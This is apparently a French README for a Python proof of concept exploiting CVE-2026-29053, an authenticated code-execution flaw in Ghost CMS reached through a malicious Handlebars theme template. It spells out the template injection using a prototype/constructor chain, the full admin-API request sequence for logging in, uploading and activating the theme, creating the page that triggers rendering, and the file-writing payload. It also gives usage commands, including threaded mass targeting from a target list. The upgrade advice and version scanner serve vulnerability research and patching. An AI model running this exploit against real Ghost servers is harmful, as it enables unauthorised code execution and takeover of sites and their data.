
PoC Python et scanner de version pour CVE-2026-29053, une RCE authentifiée dans Ghost CMS inférieur à 6.19.1 via des modèles de thème Handlebars malveillants.
CVE-2026-29053, affecte le système de gestion de contenu Ghost construit sur Node.js. Les versions de 0.7.2 à 6.19.0 sont vulnérables à ce problème. Un thème malveillant peut exploiter cette vulnérabilité et exécuter du code arbitraire sur le serveur exécutant Ghost. La gravité de cette vulnérabilité est élevée, avec un score CVSS de 7.6. Ce problème a été corrigé dans la version 6.19.1. Un attaquant qui exploite avec succès cette vulnérabilité peut obtenir un accès non autorisé au serveur et potentiellement en prendre le contrôle. Il pourrait alors utiliser cet accès pour manipuler des données, voler des informations sensibles ou mener d'autres activités malveillantes. Les produits/services affectés sont toutes les versions de Ghost de 0.7.2 à 6.19.0. Pour atténuer ce risque, les utilisateurs doivent mettre à jour leurs installations Ghost vers la version 6.19.1 ou ultérieure dès que possible. Cela garantira que la vulnérabilité est corrigée et ne constitue plus une menace. Si la mise à jour n'est pas réalisable pour le moment, il est recommandé de surveiller attentivement tout nouveau développement concernant cette vulnérabilité et d'appliquer les mesures de sécurité nécessaires pour se protéger contre d'éventuelles attaques. Cette CVE n'est actuellement pas répertoriée dans le catalogue Known Exploited Vulnerabilities (KEV) de la CISA, ce qui signifie qu'elle n'a pas été activement exploitée par des acteurs malveillants. Cependant, les utilisateurs doivent tout de même prioriser la mise à jour de leurs systèmes pour prévenir tout risque potentiel associé à cette vulnérabilité.
Un PoC Python pour CVE-2026-29053, une vulnérabilité d'exécution de code à distance dans Ghost CMS causée par des thèmes spécialement conçus pouvant exécuter du JavaScript arbitraire lors du rendu des templates.
Affecté : Ghost
0.7.2jusqu'à Ghost CWE-74 — Neutralisation incorrecte d'éléments spéciaux dans la sortie utilisée par un composant en aval
6.19.06.19.1L'avis de Ghost décrit le problème comme une exécution de code arbitraire via des thèmes malveillants.
Les thèmes Ghost utilisent des templates Handlebars (.hbs).
Un template spécialement conçu peut abuser de la façon dont Ghost traite les expressions Handlebars et accéder à des fonctionnalités JavaScript qui ne devraient pas être accessibles depuis un template de thème normal.
La partie importante de l'exploit est l'expression du template :
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
La charge utile est insérée dans le template avant que le thème malveillant ne soit empaqueté.
Le template résultant est ensuite téléversé et activé via l'API Ghost Admin.
Lorsque Ghost effectue ensuite le rendu du template affecté, l'expression injectée provoque l'exécution de la charge utile JavaScript au sein du processus serveur Ghost.
Le PoC établit d'abord une session Ghost Admin authentifiée.
Le point de terminaison concerné est :
POST /ghost/api/admin/session/
La requête générée par le PoC est équivalente à :
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost renvoie le cookie de session authentifié.
Le PoC vérifie le code HTTP 201 puis continue en utilisant le même objet requests.Session().
L'exploit crée une archive ZIP contenant un thème Ghost minimal.
Les fichiers importants sont :
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
Le template malveillant est écrit dans :
page-rce.hbs
Le PoC construit entièrement l'archive en mémoire à l'aide du module zipfile de Python.
Le package.json généré identifie l'archive comme un thème Ghost :
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
La partie vulnérable du thème est l'expression Handlebars à l'intérieur de page-rce.hbs.
Le PoC génère :
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% avant que le thème ne soit compressé.Le PoC par défaut utilise une charge utile d'écriture de fichier comme preuve non destructive de l'exécution de code.
Il génère un JavaScript équivalent à :
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
Cela démontre que la charge utile s'exécute au sein du processus Ghost Node.js et peut accéder aux fonctionnalités de Node.js.
Le PoC contient également un mode de rappel optionnel pour les environnements de laboratoire.
Une fois le thème malveillant généré, le PoC l'envoie à :
POST /ghost/api/admin/themes/upload/
La requête est un téléversement de formulaire multipart.
Conceptuellement :
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
L'archive contient le template .hbs malveillant décrit ci-dessus.
Le PoC attend un code HTTP 200 et extrait le nom du thème renvoyé depuis la réponse JSON.
Après avoir téléversé le thème, le PoC l'active avec :
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Le point de terminaison d'activation est construit dynamiquement :
/ghost/api/admin/themes/{theme_name}/activate/
L'exploit s'arrête si Ghost ne renvoie pas un code HTTP 200.
Le PoC crée ensuite une page publiée :
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
Le code utilise le slug :
/rce/
Si la page existe déjà, il tente de récupérer la page existante à la place.
Le déclenchement final est simplement :
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
Cela amène Ghost à effectuer le rendu du thème actif.
Le PoC vérifie dans le HTML renvoyé la présence de :
CVE-2026-29053 trigger
pour confirmer que page-rce.hbs a été rendu.
La distinction importante est que l'attaquant n'injecte pas simplement du HTML dans une page.
L'entrée malveillante fait partie d'un template de thème Ghost Handlebars.
Le template est ensuite interprété par le système de rendu côté serveur de Ghost.
L'expression conçue atteint des fonctionnalités JavaScript via la chaîne de prototype/construction :
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
JavaScript contrôlé par l'attaquant
Le JavaScript résultant s'exécute dans le processus serveur Ghost.
Le PoC le démontre en accédant au module fs intégré de Node et en écrivant un fichier sur le serveur.
En rassemblant l'interaction HTTP :
1. POST /ghost/api/admin/session/
└── authentification
2. POST /ghost/api/admin/themes/upload/
└── téléversement de malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── activation du thème malveillant
4. POST /ghost/api/admin/pages/
└── création de /rce/
5. GET /rce/
└── rendu de page-rce.hbs malveillant
└── expression Handlebars
└── exécution JavaScript
└── impact au niveau du système d'exploitation
Le PoC contient également un scanner.
Il envoie la requête :
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
La réponse est analysée pour :
{
"site": {
"version": "6.19.0"
}
}
Le PoC compare ensuite la version à :
0.7.2 <= version <= 6.19.0
et signale les versions correspondantes comme vulnérables.
L'avis publié spécifie la plage affectée comme >= 0.7.2, < 6.19.1, avec 6.19.1 comme version corrigée.
python3 exploit.py --target http://TARGET
Le chemin de preuve par défaut est :
/tmp/cve-2026-29053-rce.txt
Il peut être modifié avec :
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
Si la configuration de Ghost a déjà été effectuée :
python3 exploit.py --target http://TARGET --skip-setup
Les identifiants peuvent être fournis à l'aide de :
--email
--password
Les cibles peuvent être fournies depuis un fichier :
python3 exploit.py --file targets.txt
Nombre de threads :
python3 exploit.py --file targets.txt --threads 25
Le scanner vérifie le point de terminaison Ghost Admin site et compare la version de Ghost signalée à la plage vulnérable.
Une exploitation réussie permet l'exécution de JavaScript arbitraire au sein du processus serveur Ghost.
Selon les privilèges du processus Ghost et la charge utile utilisée, cela peut affecter :
L'enregistrement CVE publié évalue le problème comme accessible par le réseau mais nécessitant des privilèges élevés et une interaction utilisateur, avec un périmètre modifié.
Mettre à niveau Ghost vers :
6.19.1+
L'avis de vulnérabilité de Ghost identifie 6.19.1 comme la version corrigée.
Ne pas installer de thèmes non fiables.
Ce PoC est fourni à des fins de recherche sur les vulnérabilités, de tests d'intrusion autorisés et d'éducation.